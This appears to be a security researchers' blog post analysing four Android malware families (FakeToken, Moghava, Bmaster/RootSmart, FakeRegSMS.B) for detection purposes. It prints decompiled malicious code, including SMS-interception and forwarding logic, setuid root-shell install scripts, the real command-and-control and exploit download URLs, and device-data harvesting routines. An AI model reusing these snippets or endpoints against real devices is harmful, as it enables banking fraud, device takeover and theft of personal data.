After several months without any updates, we added more than 30 malware families to our overview. The reports of the Mobile-Sandbox will follow within the next few days.
Detailed Analysis of Android.FakeToken
Intro: What is Android.FakeToken?
This new malware-family emerged some days ago within a spanish Spam-campain and spreads through email and SMS messages. This new Android malware tries to forward mTAN SMS messages to a remote user and thus has the typical man-in-the-middle functionality, we have already seen in malware families like Zeus and SpyEye, but it also can be controlled remotely and doesn’t need to infect the user’s PC.
Analysis of the Application and Its Structure
When installing the app it requests the following permissions:
- android.permission.READ_PHONE_STATE
- android.permission.ACCESS_NETWORK_STATE
- android.permission.SEND_SMS
- android.permission.RECEIVE_SMS
- android.permission.INTERNET
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INSTALL_PACKAGES
- android.permission.DELETE_PACKAGES
- android.permission.READ_CONTACTS
- android.permission.RECEIVE_BOOT_COMPLETED
After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, USER_PRESENT, PHONE_STATE or SMS_RECEIVED). When the user executes the app, it shows a WebView component that displays an html-page which looks like a Token-Generator and it appears to be from the targeted bank (in our case it should look like the Santander Consumer Bank):
localWebView.addJavascriptInterface(new WebApi(this), "android"); System.out.println("Build.VERSION.RELEASE: " + Build.VERSION.RELEASE); if ((Build.VERSION.RELEASE.startsWith("2.3.1")) || (Build.VERSION.RELEASE.startsWith("2.3.3"))) localWebView.loadUrl("file:///android_asset/html/index_bag.html"); ....
To get the fake token (just a random number), the user must enter the first factor of authentication. As soon as this step is done, the application sends a SMS message to the author and starts a background service afterwards:
public void sendPass(String paramString) { try { if (!Settings.saved.sendInitSms) { Settings.saved.sendInitSms = true; String str = Settings.saved.smsPrefix + " INIT " + MainApplication.imei + " " + MainApplication.imsi + " " + paramString; MainService.sendSms(Settings.saved.number, str); MainApplication.settings.save(this.context); } ....
This background service is listening to commands from the remote server (e.g. update of configuration) and starts periodically. When the smartphone of the victim receives a SMS message, the broadcast will be aborted and the message will be forwarded to a given phone number or remote server.
abortBroadcast(); SmsMessage localSmsMessage = arrayOfSmsMessage[j]; String str1 = localSmsMessage.getOriginatingAddress(); String str2 = localSmsMessage.getMessageBody(); CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2); if (localCatchResult.result) MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key); if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))
The application sends IMEI, IMSI, phone type, version, sid, phone number and the SMS body within a HTTP Post to one of the corresponding remote servers. These servers and all necessary information are stored in a xml configuration (/data/data/token.generator/files/settings):
79021121067 1.0 santander http://icoolshop.ru/cp/server.php http://iconsshopbest.com/cp/server.php qe4faf23r4e2 sid_1 false 1331934321409 43200
This file can be updated remotely (via SMS and HTTP GET) if the phone number or server address of the malware author changes. The malware also has the ability to install further apk-files and sends the phone numbers of all entries in the address book of the victim to a remote server. The last step happens probably for further distribution of the malware.
Sample Information:
sha256:
f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79
md5:
4548973449f707a6359a9b321ef54d31
Detailed Analysis of Android.Moghava
Intro: What is Android.Moghava?
This new malware-family emerged some days ago in third-party Iranian Android-Markets. It is one of the very few samples out there that is not intended to make money. Instead, the app represents another sample from the side of politically-motivated hacking (hacktivism) which modifies images that are stored on the device.
Even if this malicious app doesn’t cause any financial loss to the user of the smartphone, all the pictures on the smartphone are compromised.
Unfortunately, the sample which was submitted to our mobile-sandbox is not signed, so we couldn’t run it in our emulator and the rest of this analysis is made by looking directly in the decompiled code of the application.
Analysis of the Application and Its Structure
When installing the app it is requests the following permissions:
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.RECEIVE_BOOT_COMPLETED
The application consist of two packages:
- the benign part of the app: ir.sharif.iranianfoods
- and the malicious part: com.Moghava
As it is very obvious that this is another repackaged app, we concentrated our analysis on the second package which has two classes, we will look at in the next sections.
com.Moghava.kicker
This class is called when the smartphone receives a “boot completed” and calls the second class of the malicious package (see the code snippet below).
public void onReceive(Context paramContext, Intent paramIntent){ if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction())){ paramContext.startService(new Intent(paramContext, stamper.class)); } }
com.Moghava.stamper
This class is responsible for the malicious action of the application. First it tries to receive a list with every picture of your phone. This action runs in the background in regular intervals.
File[] arrayOfFile = new File("/sdcard/DCIM/Camera/").listFiles(new FilenameFilter(){ public boolean accept(File paramFile, String paramString){ return paramString.endsWith(".jpg"); } ...
The application is only checking the /sdcard/DCIM/Camera/ folder, so on newer smartphones like the Samsung Galaxy S2 it isn’t getting all of your photos. On these smartphones the photos are often stored in /sdcard/external_sd/DCIM/Camera/.
After the application has received the list with all pictures inside this directory, it tries to modify them by merging the picture with a picture of Ayatollah Khomeini. Since the app isn’t checking if the picture is already compromised it does this action over and over again till the storage becomes full.
localBitmap1 = BitmapFactory.decodeResource(stamper.this.getResources(), 2130837505); localBitmap2 = BitmapFactory.decodeFile(localFile.getPath()); if (localBitmap2.getWidth() > localBitmap1.getWidth()){ k = localBitmap2.getWidth(); n = localBitmap2.getHeight(); localBitmap3 = Bitmap.createBitmap(k, n, Bitmap.Config.ARGB_8888); Canvas localCanvas = new Canvas(localBitmap3); localCanvas.drawBitmap(localBitmap2, 0.0F, 0.0F, null); localCanvas.drawBitmap(localBitmap1, 100.0F, 300.0F, null); }
Sample Information:
sha256:
94bb6ade1ef31c6c96b98c7d8fad1abbc794292730f4363ea3cd9204fc5c9dfd
md5:
ec86f084ea0e0d0a33d5f39df19bd7be
Detailed Analysis of Android.Bmaster
Intro: What is Android.Bmaster?
This new malware-family emerged some weeks ago in third-party Chinese Android-Markets. This malware is taking advantage of the GingerBreak exploit to gain root privileges. This exploit is not embedded into the application, instead it is dynamically downloaded from a remote server together with other malicious apps. This kind of behaviour is similar to an earlier proof-of-concept application called RootStrap, developed by Jon Oberheide back in May 2011.
Android.Bmaster is also known as RootSmart. This name was given to the malware by Xuxian Jiang who found and reported the first samples in the wild.
Analysis of the Application and Its Structure
The app requests the following permissions:
- android.permission.ACCESS_WIFI_STATE
- android.permission.CHANGE_WIFI_STATE
- android.permission.BLUETOOTH
- android.permission.BLUETOOTH_ADMIN
- android.permission.WRITE_APN_SETTINGS
- android.permission.READ_SYNC_SETTINGS
- android.permission.WRITE_SYNC_SETTINGS
- android.permission.GET_ACCOUNTS
- android.permission.VIBRATE
- android.permission.FLASHLIGHT
- android.permission.HARDWARE_TEST
- android.permission.WRITE_SECURE_SETTINGS
- android.permission.READ_SECURE_SETTINGS
- android.permission.CAMERA
- android.permission.MODIFY_PHONE_STATE
- android.permission.READ_PHONE_STATE
- android.permission.INTERNET
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.SYSTEM_ALERT_WINDOW
- android.permission.GET_TASKS
- android.permission.CHANGE_CONFIGURATION
- android.permission.WAKE_LOCK
- android.permission.DEVICE_POWER
- android.permission.ACCESS_FINE_LOCATION
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.ACCESS_NETWORK_STATE
- android.permission.RESTART_PACKAGES
- android.permission.DELETE_CACHE_FILES
- android.permission.ACCESS_CACHE_FILESYSTEM
- android.permission.READ_OWNER_DATA
- android.permission.WRITE_OWNER_DATA
- android.permission.WRITE_SECURE_SETTINGS
- android.permission.WRITE_SETTINGS
- android.permission.MOUNT_UNMOUNT_FILESYSTEMS
- android.permission.READ_LOGS
- com.android.launcher.permission.INSTALL_SHORTCUT
- com.android.launcher.permission.UNINSTALL_SHORTCUT
After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, ACTION_SHUTDOWN, PACKAGE_ADDED or NEW_OUTGOING_CALL).
As far as we could detect, you can find all listeners and the corresponding intents afterwards:
- WcbakeLockReceivecr: USER_PRESENT
- BcbootReceivecr: BOOT_COMPLETED
- ScbhutdownReceivecr: ACTION_SHUTDOWN
- LcbiveReceivecr: CFF / PHONE_STATE / SIG_STR / SERVICE_STATE / NEW_OUTGOING_CALL / REBOOT / CONNECTIVITY_CHANGE / BATTERY_CHANGED / DATE_CHANGED / TIME_CHANGED / WALLPAPER_CHANGED
- PcbackageAddedReceivecr: PACKAGE_ADDED
After decompiling the dex-file we can see that the application consist of three packages:
- a – seems to be a SOAP library
- com.google.android.smart – the malicious part
- com.bwx.bequick – the benign part
The Malicious Actions:
- The app checks if the smartphone is exploitable and if it has been exploited by the app before
- The application downloads a zip-file (containing an exploit and two helper scripts).
- Afterwards the malware roots the smartphone and downloads a remote administration tool (RAT) for Android devices.
- It then connects regularly to the remote server to get new commands to execute (like downloading and installing new apps).
Check Exploit State:
After the application receives a BOOT_COMPLETED event the BcbootReceivecr is called. This receiver broadcasts a new action called action.boot. This action sets an alarm to 60 seconds. After this time periode a new action action.check_live will be broadcasted and the method b.a() will be called.
In this method the OS version is checked against “2.3.4″ and also the existence of a file called shells is checked. If The Android version is smaller than 2.3.4 and the shells-file is not existing, the application calls the method i.a() which we will examine in the next section.
if ((Build.VERSION.RELEASE.compareTo("2.3.4") >= 0) || (s.e())){ if (!this.a.getFileStreamPath("shells").exists()){ new i(this.a).a(); } ....
Downloading the Exploit:
You can find the encrypted URL inside the file res/raw/data_3 (ED04FB6CD722B63EF117E92215337BC7358FB64F4166F4EC40C40D21E92F9036). When we decrypt this string using a fixed seed number(stored in the Android manifest file) and provide this number to the Java random number generator, we get the first part of our URL: go.docrui.com
When appending the string from the method i.a() to our decrypted URL we get the real download link: http://go.docrui.com/androidService/resources/commons/shells.zip
After the malware has downloaded this file, it checks if the md5 is equal to 6bb75a2ec3e547cc5d2848dad213f6d3. Inside this zip-file are three files (install, installapp and exploit) which we will look at in the next paragraphs.
The first file is called install. This script remounts the filesystem in read-write mode and creates a new directory afterwards (/system/xbin/smart). Inside this directory the script creates a root shell and then the filesystem is remounted read-only:
#!/data/data/com.google.android.smart/files/sh mount -o remount system /system mkdir /system/xbin/smart chown $1 /system/xbin/smart chmod 700 /system/xbin/smart cat /system/bin/sh > /system/xbin/smart/sh chown 0.0 /system/xbin/smart/sh chmod 4755 /system/xbin/smart/sh sync mount -o remount,ro system /system
The second script is called installapp. This script is a helper script which is able to write a file anywhere in the filesystem and is able to grant the +s mode to this file:
#!/system/xbin/smart/sh mount -o remount system /system cat $1 > $2 chown 0.0 $2 chmod 4755 $2 sync mount -o remount,ro system /system
The last file in this zip-file is called exploit. It’s a GingerBreak version which was compiled out-of-the-box.
Rooting the Smartphone:
In the method f.a() the app executes the helper scripts and exploits the device. Therefore it checks the ExternalStorageState, unpacks the zip-file with the help of the method s.a() and changes the access rights of the files exploit and install to 755. After executing this two files through McbainServicce.class Boolean a() the application deletes some files and tries to clean up:
if ((!str1.equals("mounted")) && (!str1.equals("mounted_ro"))){ j = 0; if ((j == 0) || (!this.a.a.d())) continue; str2 = this.a.getApplicationContext().getFileStreamPath("shells").getAbsolutePath(); if (!new File(str2).exists()) continue; str3 = this.a.getApplicationContext().getFileStreamPath("exploit").getAbsolutePath(); str4 = this.a.getApplicationContext().getFileStreamPath("install").getAbsolutePath(); } try{ if (!new File(str3).exists()) this.a.a.a(str2, "exploit"); if (!new File(str4).exists()) this.a.a.a(str2, "install"); StringBuilder localStringBuilder1 = new StringBuilder("chmod 775 "); localStringBuilder1.append(str3).append(" ").append(str4); boolean bool1 = this.a.a(localStringBuilder1.toString()); if (!bool1){ this.a.a.a.a(true); this.a.a.a.a(i + 1); if (s.e()){ g.a(this.a.getApplicationContext()).a("3"); this.a.a.a.a("3"); } this.a.a.a(str3); this.a.a.a(str4); this.a.getApplication().deleteFile("sh"); this.a.getApplication().deleteFile("boomsh"); this.a.getApplication().deleteFile("last_idx"); continue; j = 1; break label45; } ....
Due to this process the app is able to install its own shell into the system. With the help of this shell, the app is able to install new packages silently. If the whole rooting process fails, the app will also try to download and install new packages. In this case the system will display a pop-up message to the user and waits for approval.
The Network Action:
The infected smartphone communicates with a remote server and sends a SOAP request to this server when connecting. This request contains a lot of privacy critical information like location, IMEI, IMSI and exact type of smartphone the app is running on (see the excerpt of method g.b() below). After the server responded to this request the smartphone connects regularly to the server to receive further commands.
public final String b(){ StringBuilder localStringBuilder = new StringBuilder(); localStringBuilder.append(w.a("IMEI", this.c.getString("IMEI", ""))); localStringBuilder.append(w.a("IMSI", this.c.getString("IMSI", ""))); localStringBuilder.append(w.a("TYPE_TEL", this.c.getString("TYPE_TEL", ""))); localStringBuilder.append(w.a("VERSION_TEL", this.c.getString("VERSION_TEL", ""))); localStringBuilder.append(w.a("CID", this.c.getString("CID", ""))); localStringBuilder.append(w.a("LAC", this.c.getString("LAC", ""))); localStringBuilder.append(w.a("MNC", this.c.getString("MNC", ""))); String str1 = this.c.getString("SMS_CENTER", null); if (str1 != null) localStringBuilder.append(w.a("SMS_CENTER", str1)); String str2 = this.c.getString("INSTALL_TYPE", null); if (str2 != null) localStringBuilder.append(w.a("INSTALL_TYPE", str2)); localStringBuilder.append(w.a("PID", this.c.getString("PID", ""))); localStringBuilder.append(w.a("PACKAGE_ID", this.c.getString("PACKAGE_ID", ""))); localStringBuilder.append(w.a("PACKAGE_LEVEL", this.c.getString("PACKAGE_LEVEL", ""))); localStringBuilder.append(w.a("VERSION_USER", this.c.getString("VERSION_USER", ""))); localStringBuilder.append(w.a("VERSION_OWN", this.c.getString("VERSION_OWN", ""))); localStringBuilder.append(w.a("PACKAGE_NAME", this.c.getString("PACKAGE_NAME", ""))); return localStringBuilder.toString(); }
Some Information About the Corresponding Botnet:
According to Symantec the size of the botnet is between 10.000 and 30.000 active devices which are able to generate a revenue between 1.600 and 9.000 USD per day. Another discovery from Symantec was, that the bonnet is running since September 2011 and is able to push about 27 different malicious apps to an infected device.
Sample Information:
sha256:
8cb40e8dce05482907ff83b39911831daf20e4a69ee63a6cff523c880eed1acf
md5:
f70664bb0d45665e79ba9113c5e4d0f4
Detailed Analysis of Android.FakeRegSMS.B
Intro: What is Android.FakeRegSMS.B?
This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.
After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a “Rules” button where he/she can see that the service will send a SMS message to a premium service.
Analysis of the Application and Its Structure
The app requests the following permission:
- android.permission.SEND_SMS
After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)
The interesting part of the application: Steganography!
The first hint that this app is doing something “strange” appears when you look at the following lines:
byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray(); int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt")); if (k < 0) throw new IOException("Chank tEXt not found in png");
Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:
invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager; move-result-object v0 const-string v2, "icon.png" invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream; move-result-object v1 iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;
The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:
- /res/drawable-hdpi/icon.png
- /res/drawable-mdpi/icon.png
- /res/drawable-ldpi/icon.png
When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:
Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:
ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream(); for (int i1 = i; ; i1++) { int i2 = (byte)localDataInputStream1.read(); if (i2 == -1) break; localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length())); }
These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43
To get the unobfuscated values of the tEXt chunk we are using the python script below.
#!/usr/bin/python key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43" length = len(key) obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09" unObfuscatedData = "" for x, y in enumerate(obfuscatedData): keyIndex = x % length unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex])) print "unobfuscated data: " + unObfuscatedData
After running this small python script we receive the following output:
420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=
With this unobfuscated strings, the following few lines of code of the class-file make some more sense:
if (i < i5){ String str; try{ str = localDataInputStream2.readUTF(); if (str.equals("costLimit")){ this.d = Integer.parseInt(localDataInputStream2.readUTF()); break label519; } if (str.equals("costLimitPeriod")) this.e = Integer.parseInt(localDataInputStream2.readUTF()); } catch (IOException localIOException){ localIOException.printStackTrace(); break label519; if (str.equals("smsData")) this.f = localDataInputStream2.readUTF(); } catch (NumberFormatException localNumberFormatException){ localNumberFormatException.printStackTrace(); } if (str.equals("smsDelay")) this.h = Integer.parseInt(localDataInputStream2.readUTF()); else this.g.put(str, localDataInputStream2.readUTF()); }
With the output of our python script we get some values for the variables used in the code snippet above:
- costLimit = 150
- costLimitPeriod = 8640
- smsData = l5872600885697126387416947526760l
- smsDelay = 15
Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:
private static boolean a(String paramString1, String paramString2){ try{ SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null); return true; } catch (Exception localException){ while (true) Log.e("Logic", "Error sending sms", localException); } }
After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:
Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:
- Receipient: 5111
- Message: 420 10048 l5872600885697126387416947526760l0100
After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author (erohit.biz) is between 15 and 400 Russian ruble.
Sample Information:
sha256:
8a8a246eea40e49b1aaad23fd867b8a9faeb936fe020ba5ce43b4547331a63ea
md5:
41ca3efde1fb6228a3ea13db67bd0722